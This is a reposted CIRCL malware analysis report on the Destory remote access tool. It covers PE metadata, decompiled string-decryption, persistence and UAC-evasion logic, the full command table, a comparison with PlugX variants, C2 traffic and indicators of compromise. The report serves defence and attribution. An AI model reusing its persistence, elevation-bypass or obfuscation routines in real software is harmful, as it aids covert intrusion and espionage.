본문 바로가기

취약점 정보1

TR-24 Analysis - Destory RAT family

728x90

Overview

CIRCL analyzed a malware sample which was only sporadically detected by just a handful antivirus engines, based on heuristic detection. CIRCL analyzed the entire command structure of the malware and was able to attribute this specific malware to the Destory RAT family. The malware is a feature-rich Remote Access Tool.

The malware is used by a specific group of attackers specialized in industrial espionage starting from 2007 (Command Five). CIRCL published this report about Destory RAT family due to the regular confusion with the PlugX malware family. PlugX and Destory RAT malware are technically different for their respective initialization phase, utilized obfuscation techniques and other parts that will be outlined in this document, showing that both families are initially coming from the same malware writers, following the same internal and network communication protocols and using the same code for the vast majority of the code.

All known malware family members (PlugX, Gulpix, Korplug, Destory, Thoper, Sogu, TVT) are briefly discussed in this document, showing differences and similarities that could lead to the assumption that an initial code base has been shared among different teams and used/enhanced for different purposes.

Static Analysis

Sample A

HASHES:

TypeHash
MD5801389d08baa4144018460fbe95da5ea
SHA1c1f8738b3d7ef40177becc0ffde9321a03ef961a
SHA-256217fe60d2ecea69055f93e86225e3596709f2e1baf458476d340726fdc8d5653
ssdeep3072:G1705dXa7hDQiO1rQVHQ9haRPvo7oAfuSA2GR2N+S8f9:GNcdXL1rQVHehaRPvo7oAW8kQO9

VIRUSTOTAL RESULTS FOR SAMPLE A

No detections

FILE CHARACTERISTICS

Meta data

Name:    win3dx.DLL
Size:    206848 bytes
Type:    PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Date:    0x4E5DB013 [Wed Aug 31 03:52:51 2011 UTC]
EP:      0x10001b10 .text 0/5
CRC:     Claimed: 0x0, Actual: 0x32b19 [SUSPICIOUS]

Resource entries

We will not speculate about the following, instead we leave it to the reader to make an educated guess (or to discuss the possible scenarios):

Name               RVA      Size     Lang         Sublang                  Type
--------------------------------------------------------------------------------
RT_DIALOG          0x9b340  0x9c     LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED data
RT_VERSION         0x9b0a0  0x29c    LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED data

Version info

LegalCopyright: Copyright (C) 2011
InternalName: SafeSvc.exe
FileVersion: 1.0.0.1
CompanyName: SafeSvc
ProductName: SafeSvc
ProductVersion: 1.0.0.1
FileDescription: SafeSvc
OriginalFilename: SafeSvc.exe
Translation: 0x0409 0x04b0

Sections

Entropy analysis by section reveals high amount of randomness in .data and .rdata section, which is an indicator for compressed/encrypted content, which later turns out to be the case.

Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x2a29e      0x2a400      6.392526
.rdata     0x2c000      0x3f36       0x4000       7.058395    [SUSPICIOUS]
.data      0x30000      0x6aa2e      0xa00        7.302812    [SUSPICIOUS]
.rsrc      0x9b000      0x3e0        0x400        3.064398
.reloc     0x9c000      0x31d6       0x3200       6.426904
SECTION 1 (.text   ):
                virtual size                  : 0002A29E ( 172702.)
                virtual address               : 00001000
                section size                  : 0002A400 ( 173056.)
                offset to raw data for section: 00000400
                offset to relocation          : 00000000
                offset to line numbers        : 00000000
                number of relocation entries  : 0
                number of line number entries : 0
                alignment                     : 0 byte(s)
                Flags 60000020:
                  text only
                  Executable
                  Readable
SECTION 2 (.rdata  ):
                virtual size                  : 00003F36 (  16182.)
                virtual address               : 0002C000
                section size                  : 00004000 (  16384.)
                offset to raw data for section: 0002A800
                offset to relocation          : 00000000
                offset to line numbers        : 00000000
                number of relocation entries  : 0
                number of line number entries : 0
                alignment                     : 0 byte(s)
                Flags 40000040:
                  data only
                  Readable
SECTION 3 (.data   ):
                virtual size                  : 0006AA2E ( 436782.)
                virtual address               : 00030000
                section size                  : 00000A00 (   2560.)
                offset to raw data for section: 0002E800
                offset to relocation          : 00000000
                offset to line numbers        : 00000000
                number of relocation entries  : 0
                number of line number entries : 0
                alignment                     : 0 byte(s)
                Flags C0000040:
                  data only
                  Readable
                  Writable
SECTION 4 (.rsrc   ):
                virtual size                  : 000003E0 (    992.)
                virtual address               : 0009B000
                section size                  : 00000400 (   1024.)
                offset to raw data for section: 0002F200
                offset to relocation          : 00000000
                offset to line numbers        : 00000000
                number of relocation entries  : 0
                number of line number entries : 0
                alignment                     : 0 byte(s)
                Flags 40000040:
                  data only
                  Readable
SECTION 5 (.reloc  ):
                virtual size                  : 000031D6 (  12758.)
                virtual address               : 0009C000
                section size                  : 00003200 (  12800.)
                offset to raw data for section: 0002F600
                offset to relocation          : 00000000
                offset to line numbers        : 00000000
                number of relocation entries  : 0
                number of line number entries : 0
                alignment                     : 0 byte(s)
                Flags 42000040:
                  data only
                  Discardable
                  Readable

Export table

Flags         : 00000000
Time stamp    : Wed Aug 31 05:52:51 2011
Version       : 0.0
DLL name      : Rfu.
Ordinals base : 1. (00000001)
# of Addresses: 18. (00000012)
# of Names    : 18. (00000012)

  1. 00001DE0 SdxdAnr
  2. 00001E10 SdxdCukhl
  3. 00001C40 SdxdDlfisr
  4. 00001C10 SdxdEfck
  5. 00001E70 SdxdFcfgy
  6. 00001DF0 SdxdFunq
  7. 00001CD0 SdxdGivnlc
  8. 00001E60 SdxdLj
  9. 00001C00 SdxdLjykq
 10. 00001C20 SdxdMs
 11. 000019F0 SdxdPv
 12. 00001E40 SdxdPyyiw
 13. 00001DD0 SdxdRhio
 14. 00001BE0 SdxdTvdxj
 15. 00001E80 SdxdUdfae
 16. 00001E20 SdxdWmnq
 17. 00001BF0 SdxdWqn
 18. 00001D40 SdxdZbvge

Import table

Time stamp    : 00000000: not bound
ForwarderChain: 00000000
DLL name      : 0002F94E: KERNEL32.dll
Name table    : 0002F5E4
Address table : 0002C088
 1. hint=0125 FileTimeToSystemTime
 2. hint=0203 GetLocalTime
 3. hint=0447 SetConsoleTitleA
 4. hint=0107 EnumSystemCodePagesA
 5. hint=02CF HeapFree
 6. hint=0003 AddAtomA
 7. hint=04CB TransmitCommChar
 8. hint=023C GetPrivateProfileIntW
 9. hint=0060 CompareFileTime
10. hint=02CC HeapCompact
11. hint=0098 CreateMailslotA
12. hint=0484 SetProcessWorkingSetSize
13. hint=0424 SetCommMask
14. hint=04B2 Sleep
15. hint=0069 ConvertDefaultLocale
16. hint=0156 FlushConsoleInputBuffer
17. hint=02DC InitAtomTable
18. hint=041E SetCalendarInfoA
19. hint=039A PulseEvent
20. hint=0204 GetLocaleInfoA
21. hint=01C8 GetDateFormatW
22. hint=015C FoldStringW
23. hint=033C LoadLibraryA
24. hint=0245 GetProcAddress
25. hint=01E7 GetFileAttributesExW
26. hint=00FA EnumLanguageGroupLocalesW
27. hint=008F CreateFileW
28. hint=0202 GetLastError
29. hint=0466 SetFilePointer
30. hint=0525 WriteFile
31. hint=0052 CloseHandle
32. hint=0531 WriteProfileStringA
33. hint=015A FlushViewOfFile
34. hint=02F7 IsBadReadPtr
35. hint=0293 GetTickCount


Time stamp    : 00000000: not bound
ForwarderChain: 00000000
DLL name      : 0002FADA: USER32.dll
Name table    : 0002F674
Address table : 0002C118
 1. hint=00EF EnumThreadWindows
 2. hint=0220 OemKeyScan
 3. hint=0265 ReleaseDC
 4. hint=0007 AnimateWindow
 5. hint=010E GetClassInfoW
 6. hint=0112 GetClassNameW
 7. hint=02CA SetWindowTextA
 8. hint=031D ValidateRgn
 9. hint=01A3 GetWindowTextW
10. hint=014B GetMenu
11. hint=00CE DrawTextExA
12. hint=011B GetClipboardViewer
13. hint=009B DefWindowProcA
14. hint=0113 GetClassWord
15. hint=00F8 FindWindowExA
16. hint=0009 AppendMenuA
17. hint=027E SendNotifyMessageW
18. hint=0032 CharPrevA
19. hint=0025 ChangeDisplaySettingsExW
20. hint=0037 CharToOemBuffW
21. hint=0329 WinHelpW
22. hint=010D GetClassInfoExW
23. hint=015F GetMonitorInfoW


Time stamp    : 00000000: not bound
ForwarderChain: 00000000
DLL name      : 0002FBF4: GDI32.dll
Name table    : 0002F5A8
Address table : 0002C04C
 1. hint=01D2 GetEnhMetaFileDescriptionA
 2. hint=021B GetTextExtentExPointW
 3. hint=022D GetWorldTransform
 4. hint=02A4 SetTextAlign
 5. hint=0221 GetTextExtentPointW
 6. hint=0267 ResetDCW
 7. hint=02B5 StrokeAndFillPath
 8. hint=002E CreateColorSpaceW
 9. hint=0290 SetICMProfileW
10. hint=023E OffsetViewportOrgEx
11. hint=0200 GetPaletteEntries
12. hint=01A7 GetBitmapBits
13. hint=0041 CreateFontW
14. hint=0253 PolyPolyline


Time stamp    : 00000000: not bound
ForwarderChain: 00000000
DLL name      : 0002FD94: ADVAPI32.dll
Name table    : 0002F55C
Address table : 0002C000
 1. hint=022F ReadEventLogW
 2. hint=0176 InitializeAcl
 3. hint=0021 AllocateLocallyUniqueId
 4. hint=01EB ObjectDeleteAuditAlarmA
 5. hint=0147 GetSecurityDescriptorControl
 6. hint=0285 RegisterServiceCtrlHandlerA
 7. hint=0175 ImpersonateSelf
 8. hint=0051 CheckTokenMembership
 9. hint=00FC EnumDependentServicesA
10. hint=00D8 DecryptFileW
11. hint=0136 GetLengthSid
12. hint=0231 RegConnectRegistryA
13. hint=0180 IsTextUnicode
14. hint=003B BackupEventLogW
15. hint=02B6 SetSecurityDescriptorDacl
16. hint=02B9 SetSecurityDescriptorRMControl
17. hint=0158 GetSidSubAuthorityCount
18. hint=023D RegDeleteKeyA

Strings

The strings embedded in clear text are corresponding to the import and export section’s names as well as the DLL name itself (‘Rfu.’). This indicates that the remaining strings are encrypted/encoded in some or other way.

Sleep
GetTickCount
IsBadReadPtr
FlushViewOfFile
WriteProfileStringA
CloseHandle
WriteFile
SetFilePointer
GetLastError
CreateFileW
EnumLanguageGroupLocalesW
GetFileAttributesExW
GetProcAddress
LoadLibraryA
FoldStringW
GetDateFormatW
GetLocaleInfoA
PulseEvent
SetCalendarInfoA
InitAtomTable
FlushConsoleInputBuffer
ConvertDefaultLocale
SetCommMask
SetProcessWorkingSetSize
CreateMailslotA
HeapCompact
CompareFileTime
GetPrivateProfileIntW
TransmitCommChar
AddAtomA
HeapFree
EnumSystemCodePagesA
SetConsoleTitleA
GetLocalTime
FileTimeToSystemTime
KERNEL32.dll
GetClassInfoExW
WinHelpW
CharToOemBuffW
ChangeDisplaySettingsExW
CharPrevA
SendNotifyMessageW
AppendMenuA
FindWindowExA
GetClassWord
DefWindowProcA
GetClipboardViewer
GetMonitorInfoW
DrawTextExA
GetMenu
GetWindowTextW
ValidateRgn
SetWindowTextA
GetClassNameW
GetClassInfoW
AnimateWindow
ReleaseDC
OemKeyScan
EnumThreadWindows
USER32.dll
GetTextExtentPointW
ResetDCW
StrokeAndFillPath
CreateColorSpaceW
SetICMProfileW
OffsetViewportOrgEx
GetPaletteEntries
GetBitmapBits
CreateFontW
PolyPolyline
SetTextAlign
GetWorldTransform
GetTextExtentExPointW
GetEnhMetaFileDescriptionA
GDI32.dll
SetSecurityDescriptorDacl
SetSecurityDescriptorRMControl
GetSidSubAuthorityCount
BackupEventLogW
IsTextUnicode
RegConnectRegistryA
GetLengthSid
DecryptFileW
EnumDependentServicesA
CheckTokenMembership
ImpersonateSelf
RegisterServiceCtrlHandlerA
GetSecurityDescriptorControl
ObjectDeleteAuditAlarmA
AllocateLocallyUniqueId
InitializeAcl
ReadEventLogW
RegDeleteKeyA
ADVAPI32.dll
Rfu.
SdxdAnr
SdxdCukhl
SdxdDlfisr
SdxdEfck
SdxdFcfgy
SdxdFunq
SdxdGivnlc
SdxdLj
SdxdLjykq
SdxdMs
SdxdPv
SdxdPyyiw
SdxdRhio
SdxdTvdxj
SdxdUdfae
SdxdWmnq
SdxdWqn
SdxdZbvge

Analysis of Sample A

Initialization phase I

In a first initialization phase, the malware performs the following actions:

  1. resolving addresses of wsprintfA and wsprintfW (which is used early for the exception handling in (6))
  2. determining system and operational directories (in dependency of operating system)
  3. determining filename of itself (from the running image)
  4. setting global write Event (used for threat synchronization)
  5. reading config (including hostname of command and control server and file/server name)
  6. setting exception handler

Point 5 is rather interesting: if the malware finds out to be run in demo mode, it would pop-up a message box saying ‘Config Destory’ (as in the incorrect spelling). This is where the malware family name is coming from. PlugX does a similar thing, calling a message box saying “THIS IS A DEMO VERSION!!!”.

CHARACTERISTICAL STRING DECRYPTION

In contrast to many other malicious software that achieves to hide self-revealing strings from the analyst, almost every single string that is being used within this malware is decrypted during runtime, on-the-fly, only when explicitly needed and it is taken care that the decrypted string is wiped immediately after its use.

Example: dec_string=decrypt(enc_string) -> pAddress=GetProcAddress(dec_string) -> wipe(dec_string)

  decrypted_str_wsprintfA = decrypt_string(&decrypted, &encrypted, 10, 0xB9F8BB34, &dec_buffer);
  lpProcName_wsprintfA = return(decrypted_str_wsprintfA);
  wsprintfA = get_procaddress(&user32_dll_0, lpProcName_wsprintfA);
  wipe_memory(&decrypted);
struct_decrypt *__thiscall decrypt_string(struct_decrypt *this, int encrypted, int len, int key, int decrypted)
{
  int i; 
  int a; 
  int b;
  int c;
  int d;

  this->len = len;
  this->decrypted = decrypted;
  a = key;
  b = key;
  c = key;
  d = key;
  for ( i = 0; i < len; ++i )
  {
    d = 0xFFFFFFF9 * d - 3;
    a = 0xFFFFFFE1 * a - 5;
    b = 0x81 * b + 7;
    c = 0x201 * c + 9;
    *(this->decrypted + i) = (c + b + a + d) ^ *(i + encrypted);
  }
  return this;

Right after the decrypted string is no longer of any use, it is wiped by overwriting the memory with zeros:

int __thiscall wipe_memory(int this)
{
  int result;
  int i; 

  for ( i = 0; i < *(this + 4); ++i )
  {
    *(*this + i) = 0;
    result = i + 1;
  }
  return result;

For the analyst, keeping the strings intact is much more convenient. Patching the function by replacing some instructions with NOPs is an option.

Initialization phase II

The second phase is initiated with a check regarding how the malware has been executed. If the filename of the DLL is not CRYPTBASE.DLL, the following new process is created with CreateProcessW, before the calling process is terminated:

rundll32.exe win3dx.DLL,SdxdPv 0

Calling the file with rundll32.exe has an interesting side effect: the malware is immune against Microsoft AppLocker.

Initialization phase III

The new process is calling function ordinal #11 (SdxdPv), the sole exported function with actual functionality. The next argument ‘0’ is evaluated in the evaluate_commandline()function:

int evaluate_commandline()
{
  const WCHAR *lpCommandLine; 
  int arg; 
  bool match;
  struct_hMem *hMem;
  int pNumArgs;

  pNumArgs = 0;
  lpCommandLine = GetCommandLineW_0();
  hMem = CommandLineToArgvW_0(lpCommandLine, &pNumArgs);
  if ( pNumArgs >= 4 )
  {  
    match = lstrcmpiW_0(hMem->argument, "0") == 0;
    if ( match )
    {
      make_persistent_and_run();
EXIT:
      LocalFree_0(hMem);
      ExitProcess_0(0);
    }
    match = lstrcmpiW_0(hMem->argument, "1") == 0;
    if ( match )
    {
      make_persistent_and_exit();
      goto EXIT;
    }
    match = lstrcmpiW_0(hMem->argument, "2") == 0;
    if ( match )
    {
      initialize_Keylogger();
      goto EXIT;
    }
    match = lstrcmpiW_0(hMem->argument, "3") == 0;
    if ( match )
    {
      control_threads(0);
      goto EXIT;
    }
  }
}

Accordingly, make_persistent_and_run() is executed.

LSTATUS execute_depending_on_elevation_type()
{
  LSTATUS result;
  struct _OSVERSIONINFOW VersionInformation;
  VersionInformation.dwOSVersionInfoSize = 284;
  if ( GetVersionExW_0(&VersionInformation) )
  {
    if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion )
    {
      if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion != 1 )
      {
        if ( VersionInformation.dwMajorVersion != 5 || VersionInformation.dwMinorVersion != 2 )
        {
          if ( VersionInformation.dwMajorVersion != 6 || VersionInformation.dwMinorVersion )
          {
            if ( VersionInformation.dwMajorVersion != 6 || VersionInformation.dwMinorVersion != 1 )
              result = make_persistent_in_autorun_and_run();// -> 6.2, 6.3 (Windows 8.x)
            else
              result = make_persistent_and_run_on_Windows_7();// -> 6.1 (Windows 7)
          }
          else
          {
            result = make_persistent_and_run_on_Windows_Vista();// -> 6.0 (Windows Vista)
          }
        }
        else
        {
          result = make_persistent_and_run_on_XP();// -> 5.2 (Server 2003, XP x64)
        }
      }
      else
      {
        result = make_persistent_and_run_on_XP();// -> 5.1 (Windows XP)
      }
    }
    else
    {
      result = return_50();                     // -> 5.0 (Windows 2000)
    }
  }
  else
  {
    result = RtlGetLastWin32Error_0();
  }
  return result;

When the malware author created this decision tree, he might have abused illegal substances. If the malware author thinks this statement is an injustice because the weird logic is just a decompiler artifact, he is invited to contact us.

Depending on the version of Windows the malware is currently running, different junctions are taken to make the software persistent and to install and run it with the highest possible privileges.

The simplest way is taken in make_persistent_in_autorun_and_run(), where the Autorun key in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run is set to call

rundll32.exe win3dx.DLL,SdxdPv 3

The meaning of option ‘3’ is described in the next chapter.

This function is used for the latest Windows operating systems (Windows 8.x), but is also the fallback method for all other methods described here, when administrative privileges are not available or not exploitable.

In make_persistent_and_run_on_XP(), which is used for Windows XP, the malware is installed as a local service when administrative privileges for the user running the current process are available or if the process is started as SYSTEM user. The service’s name in this case iswin3dx and is also calling function SdxdPv of the same malware binary in the context ofsvchost.exe. On successful installation, the service is started. This happens in the functioncreate_and_start_service(), which is also reused in similar contexts.

Without administrative privileges, the aforementioned fallback tomake_persistent_in_autorun_and_run() is taken.

On Windows 7, if administrative privileges are available, create_and_start_service() is called.

int make_persistent_and_run_on_Windows_7()
{
  int result; 
  int is_a_user; 
  int is_an_administrator;
  int elevation_type; 
  result = is_user(&is_a_user);
  if ( !result )
  {
    if ( is_a_user )
    {
      result = is_administrator(&is_an_administrator);
      if ( !result )
      {
        if ( is_an_administrator )
        {
          result = get_token_elevation(&elevation_type);
          if ( !result )
          {
            switch ( elevation_type )
            {
              case TokenElevationTypeDefault:
                result = create_and_start_service();
                break;
              case TokenElevationTypeFull:
                result = create_and_start_service();
                break;
              case TokenElevationTypeLimited:
                result = use_UAC_evasion();
                break;
              default:
                result = 1359;
                break;
            }
          }
        }
        else
        {
          result = make_persistent_in_autorun_and_run();
        }
      }
    }
    else
    {
      result = create_and_start_service();
    }
  }
  return result;
}

Otherwise, a classical UAC evasion technique is used (using sysprep.exe andCRYPTBASE.DLL) to run the code. If none of this is possible, installation is done inHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, unless the context is SYSTEM, which would lead to create_and_start_service(), too.

In Windows Vista, the logic is very similar, except that use_UAC_evasion() is replaced withShellExecute_elevate_with_runas():

  pExecInfo.cbSize = 60;
  pExecInfo.lpFile = L"RUNDLL32.EXE";
  pExecInfo.lpParameters = "rundll32.exe win3dx.DLL,SdxdPv 0";
  pExecInfo.lpVerb = L"RUNAS";
  pExecInfo.nShow = 1;
  pExecInfo.fMask = 0;
  while ( !ShellExecuteExW_0(&pExecInfo) && RtlGetLastWin32Error_0() == ERROR_CANCELLED )

Post-initialization (main loop)

When function SdxdPv is called with option ‘3’, the main part of the malicious software starts. First, WSAStartup is called and privileges are adjusted (SeDebugPrivilege,SeTcbPrivilege). Immediately after, a couple of threads is being started:

  • CXGather::GtProc - thread management and thread communication
  • Cxsniffer::Snifferproc - network sniffer
  • CXSessionServer::SsStartProc - starts pipe communication (CXSessionServer::SsStartPipe)
  • Keylogger - logging user input (rundll32.exe win3dx.DLL,SdxdPv 2)
  • CXOnline::OlStartProc - initializes client-to-server communication

As reference, these are the identified functions by internal thread name:

Thread nameFunction
CXGather::GtProcThread control
CXOnline::OlStartProcstarts CXOnline::OlStartProcPipe andCXSoHttp::SoWorkProc
CXOnline::OlStartProcPipeinitializes pipe communication objects and runs initial commands
CXSessionServer::SsStartPipestarts pipe communication and evaluates received commands evaluate_commands()
CXSessionServer::SsStartProcinitializes pipe communication
CXSniffer::SnifferProcstarts network sniffer
CXSoHttp::SoWorkProcstars Internet connection
CXFuncShell::ShellT1 CXFuncShell::ShellT2Remote Shell
CXFuncSystem::SysMessageBoxProcshows message box to the screen
CXFuncTelnet::TelnetT1 CXFuncTelnet::TelnetT2Asynchronous Telnet server

CXOnline::OlStartProc initializes the pipe communication (CXSessionServer::SsStartPipe). It also collects a some information about the computer, the user, the time, windows configuration and a screenshot and registers the client to the server.

From here, everything turns in an endless loop where commands are being evaluatedevaluate_commands() and executed accordingly. The commands are in the following table.

COMMAND SWITCH:

The following table shows the commands the malware has implemented as malicious payload. This list of commands is comparable to other known malware families, for instance

CodeCommand
0x1000status: PerformanceCounter
0x1001start Process, get overview (user, computer, screenshot, …)
0x1002start pipe communication
0x1003echo input back (command, payload, …)
0x1005run dll
0x2000lock workstation
0x2001forcefully log off user
0x2002reboot system forcefully
0x2003shutdown system forcefully
0x2005on-screen message
0x3000collect disk information (drives, types, space)
0x3001find file
0x3004read file (with size and access times)
0x3007write decompressed buffer into file
0x300Acreate directory
0x300Btest if file can be opened
0x300Ccreates process in hidden window
0x300Dcopy file
0x300Eget environment info
0x300Fget malware base directory
0x4000remote desktop
0x4100take screenshot and send
0x5000get process information
0x5002list processes
0x5004terminate process
0x6000service list
0x6002delete service
0x6003change service configuration
0x6004start service
0x6005stop service
0x7002remote shell
0x7100telnet server
0x7101writeConsoleInput
0x7102generateConsoleCtrlEvent
0x9000registry enumerte subkeys
0x9002create key
0x9003delete subkey recursively
0x9004move registry key
0x9005enumerate values from key
0x9007query value or create key and set value
0x9008delete value
0x9009enumerate subkeys or create key and set value
0xA000enumerate network resources
0xB000portmapper
0xC000SQL query
0xD000get TCP table
0xD002get UDP table
0xD004kill TCP connection

Comparison with other malware from this family

It is pretty interesting to compare this list of commands with the one in Annex D ofCommand and Control in the Fifth Domain - it is most likely not coincidence that so many function codes are the same for both malwares. That indicates proximity to the Murcy protocol described in the same document:

MatchCodeCommand
 0x1003Generate Sxl value from the registry key group.
 0x1004Add Sxl description to registry key.
x0x2000Lock computer.
x0x2001Log off.
x0x2002Reboot.
x0x2003Shutdown.
 0x2004Execute file.
 0x2005Execute msg.exe.
x0x3000Get system drive information.
x0x3001File search.
 0x3003File search.
 0x300ACreate directory.
 0x300BCreate process.
 0x300CDelete file(s).
 0x3200Perform file operations.
x0x5000Obtain process information.
x0x5002Obtain process information.
x0x5004Kill process.
x0x6000List services.
x0x6002Delete service.
x0x6003Modify service configuration.
x0x6004Start service.
x0x6005Stop service.
 0x7000Input/output generated in the process with a named pipe. Get environment string.
 0x8000Get environment string.

It is even more interesting to compare the list of commands with the one reverse engineered by CIRCL in 2013 on a PlugX variant page 11. The commands are basically identical between the two malware samples. And even more interesting, [comparison between PlugX code and Destory RAT code]

PlugXDestorysubcommandDescription
x 0x1000status: PerformanceCounter
x 0x1001start Process, get overview (user, computer, screenshot, …)
x 0x1002start pipe communication
x 0x1003echo input back (command, payload, …)
x 0x1005run dll
xx0x2000lock workstation
xx0x2001shutdown workstation (forced)
xx0x2002reboot workstation
xx0x2003shutdown workstation (graceful)
xx0x2005show messagebox
xx0x3000enumerate drives
xx0x3001find file
x 0x3002find file recursively
xx0x3004read file
xx0x3007write file
xx0x300Acreate directory
xx0x300Ccreate process on hidden desktop
xx0x300Dfile copy/rename/delete/move
xx0x300Eget expanded environment string
xx0x4000Remote Desktop capabilities
x 0x4004send mouse event
x 0x4005send keyboard event
x 0x4006send CTRL-Alt-Delete
xx0x4100take screenshot
x 0x5000create process
 x0x5000get process information
x 0x5001enumerate processes
x 0x5002kill process
 x0x5002list processes
 x0x5004terminate process
xx0x6000query service config
x 0x6001change service config (forced)
x 0x6002start service
 x0x6002delete service
x 0x6003control service
x 0x6004delete service
 x0x6004terminate process
x 0x6005stop service
xx0x7002start a cmd shell
xx0x7100start telnet server
xx0x9000enumerate keys
x 0x9001create key
x 0x9002delete key
 x0x9002create key
x 0x9003copy key
 x0x9003delete subkey recursively
x 0x9004enumerate values
 x0x9004move registry keys
x 0x9005set value
 x0x9005enumerate values for key
x 0x9006get value
x 0x9007delete value
 x0x9007query value or create key and set value
 x0x9008delete value
 x0x9009enumerate subkeys or create key and set value
xx0xA000enumerate network resources
xx0xB000starts port mapping
xx0xC000get data source information
x 0xC001get driver description
x 0xC002execute statement
xx0xD000get TCP table
xx0xD001get UDP table
xx0xD002set TCP entry
x 0xE000starts key logger thread

Despite the fact that there are a lot of similarities between the command structures of both versions, it seems the command layout has changed between versions. The internal version of the analyzed PlugX is 20120123

    mov     dword ptr [ebx], 20120123h

while the version of Destory is 20100921

    mov     dword ptr [ecx], 20100921h

This version value is contained in several functions taking care of communication back to the C&C server.

So while we are already comparing different samples of malware belonging to this family, we were triggered to compare other samples belonging to this family, according to AV vendors. Often, the names PlugX (Gulpix, Korplug), Destory, Thoper, TVT, and Sogu are used synonymously, as mentioned for instance in http://labs.lastline.com/an-analysis-of-plugx. That’s why we collected the following samples:

NameHash
PlugX (MS, Ikarus)
Gulpix (Avast)
Korplug (Symantec)
f1f48360f95e1b43e9fba0fec5a2afb8 
(decrypted: 6F7AB6849E505D1028A217685AF6FDCD)
Destory801389d08baa4144018460fbe95da5ea
Thoper.B (MS)af5395a22d67bf61294b538c8c5eda5b
Thoper.E (MS)281da60d42e35fb61bad400edfd94df0
Sogu (Symantec)40d6d6a65898256dad7d5a679cab5999
TVT (Ikarus)642332869cdb6bda8156a43a2779e99d

We briefly analyzed these samples regarding a set of aspects. The result is displayed in the following table:

FeaturePlugXDestoryThoper.BThoper.ESoguTVT
is .dllxx  xx
is .exe  xx  
using signed codex     
global decryptionx     
on-the-fly decryption xxxxx
o-t-f decryption of function names xxxx 
contains junk code xxxxx
has exports x (18)x (1)x (27)x (69)x (18)
large command funcxx xxx
version 20120123x     
version 20100921 xxxxx
comparable # of featuresxxxxxx
Number of functions~ 470 (enc: 170)~ 680~ 700~ 660~ 710~ 800

PlugX in the version we analyzed appears to be the most recent of all these, comparing function codes, version string and the interesting (code-signed) start-up phase. But it is not as careful as it’s siblings when it comes to encryption, because it only globally decrypts all strings.

Destory, Thoper and Sogu have almost the same number of functions and are very similar, even if some are run as a DLL and others not.

TVT looks like a hybrid where encrypted and non-encrypted strings are used. Function names for GetProcAddress are always in unencrypted, all other strings use the same on-the-fly decryption method as in the other samples (except PlugX).

If Antivirus vendors have more information about the history of this entire family or if they want to work on this with us, the are welcome to contact us.

Network

The communication is done in HTTP on port 80. The communication mechanism is proxy aware and uses the system wide proxy configuration, if enabled. The author(s) of the malware are lacking attention to detail in the case of the user agent: the string is lacking a closing bracket:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;

Initial requests are done in the format:

POST http://microsoft.operaa.net/update?id=3ca2507c

Accept:          */*
X-Session:       0
X-Status:        0
X-Size:          61456
X-Sn:            1
User-Agent:      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Host:            microsoft.operaa.net
Content-Length:  0
Connection:      Keep-Alive
Cache-Control:   no-cache

This is congruent with the facts in the aforementioned document from Command and Control in the Fifth Domain. The document has detailed information about the protocol.

IOCs

Indicators of Compromise following Malware Information Sharing Platform format. If you are an organization/company based in Luxembourg or a TI accredited CERTs, you can request an access to the MISP platform.

MISP UUID is 53886b57-a3d8-43a7-8f4d-472a950d2109.

categorytypevalue
Payload installationmd5801389d08baa4144018460fbe95da5ea
Payload installationsha1c1f8738b3d7ef40177becc0ffde9321a03ef961a
Payload installationsha256217fe60d2ecea69055f93e86225e3596709f2e1baf458476d340726fdc8d5653
Payload installationfilenamewin3dx.DLL
Artifacts droppedpattern-in-memorywin3dx.DLL
Network activityhostnamemicrosoft.operaa.net
Network activityip-dst123.254.104.51
Network activityhostnamemicrosoftno.operaa.net
Network activityip-dst111.68.10.83
Network activityip-dst111.68.10.85
Network activityuser-agentMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;

A MISP XML file is available if you want to import the indicators into MISP or any other threat indicators sharing platform.

Recommendations

  • CIRCL recommends to review the IOCs of this report and compare them with servers in the infrastructure of your organization which produce log files including proxies, A/V and system logs.

Server Intel

The server (123.254.104.51 with the PTR record hkhdc.laws.ms) used for this campaign is hosted at AS24544 Pang International Limited in Hong Kong. The subnet is announced by the AS24544 starting from 2012-05-06.

Previously (in 2013), the (111.68.10.83 and 111.68.10.85) server was hosted at NETSEC-HK Unit 1205-1207 in Hong Kong.

Classification of this document

TLP:WHITE information may be distributed without restriction, subject to copyright controls.

Acknowledgment

CIRCL thanks CERT-BUND for sharing Sample A.

References

Revision

  • Version 1.0 June 3, 2014 initial release (TLP:WHITE)
728x90